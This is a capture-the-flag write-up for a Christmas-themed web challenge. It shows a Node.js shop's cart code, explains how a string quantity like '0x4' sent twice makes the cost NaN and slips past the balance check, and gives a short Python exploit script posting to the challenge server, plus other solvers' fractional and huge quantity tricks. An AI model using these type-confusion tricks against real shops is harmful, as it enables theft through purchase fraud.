Challenge
The notorious Grinch, in cahoots with the rogue elf, has returned! This time, they have pulled off their so-called operation sock switcheroo, replacing countless Christmas stockings and socks, and putting them up for sale online! Outsmart their devious operation, reclaim the stockings and socks, and restore the holiday spirit before it is too late!
challenge code: return-of-the-grinch.zip
Solution
Initial Analysis
- The goal of the challenge is to buy the socks that costs
$1337
but we only have$10
. - There is a reference here to the EPT sock-shop. Competitors? ;)
- There is custom logic to handle
buyItems
andaddToCart
Exploitation
Looking at yhe functions for buyItems
and addToCart
we can see that there is a custom logic to handle the quantity
of the items. quantity
is a property we can set on an item when we add it to our cart, and has to pass these checks: The quantity must be able to convert to a number, be greater than 0, and be a valid item. This got me to think that a possible datatype that matched these requirements was a string that had a number in it.
const addToCart = ({ user, item }) => {
if (!ITEMS.some((i) => i.id == item.id)) throw new Error("Unknown item");
if (!item.quantity || Number(item.quantity) <= 0 || isNaN(item.quantity))
throw new Error("Quantity must be positive");
if (user.cart.some((i) => i.id === item.id)) {
user.cart.find((i) => i.id === item.id).quantity += item.quantity;
} else {
user.cart.unshift({ ...item, quantity: item.quantity });
}
return user;
};
const buyItems = ({ user }) => {
const cart = user.cart.map((item) => ({
...item,
...ITEMS.find((i) => i.id == item.id),
}));
const cost = cart.reduce((acc, item) => acc + item.price * item.quantity, 0);
if (user.balance - cost < 0) throw new Error("Not enough money");
user.balance -= cost;
user.cart = [];
user.inventory.push(...cart);
return user;
};
I used the fact that I can pass in a string datatype as a valid quantity
to break the server logic when it calculated the cost in the buyItems
functions. Adding socks to my cart with a quantity of "0x4"
then doing that again results in the quantity of socks to be "0x40x4"
. In javascript we are not allowed to multiply strings with numbers, so when we do it we will get NaN
as a result. This will cause the cost
to be NaN
and the check if (user.balance - cost < 0)
will be false. This will allow us to buy the socks regardless of our balance. (We can even go into negative balance and we are OK)
final exploit
import requests
# Hente ut cookie fra nettleseren
cookie = {
"connect.sid":"s:M5R-d3plJGxtRXpcuKQivdtZ9EnAtc8V.sofN+po08Mt+wBN3tQMiOWFuctOBbfrNOIsIe3tnMag"
}
data = {
"id": 1337,
"quantity": "0x4",
}
req = requests.post("http://51.120.248.76:1340/", json=data, cookies=cookie)
req = requests.post("http://51.120.248.76:1340/", json=data, cookies=cookie)
# Kjøp!
# få flagg!
flag: OMEGAPOINT{y0ur3_1nd33d_th3_r3n0wn3d_s0ck_h3r0_th4nks_f0r_s4v1ng_chr1stm4s_0nc3_4g41n}
Solutons from other particepants was also interesting!
-
Sending in quantity as a smal flat number like
0.000000000000001
. When multiplied with the price of the socks it will be less then your balance. We are still allowed to buy the socks, since there was no checks to see of the quantity was a integer or not. -
Sending a super large number. I have no idea how that woked?! Infinity maybe?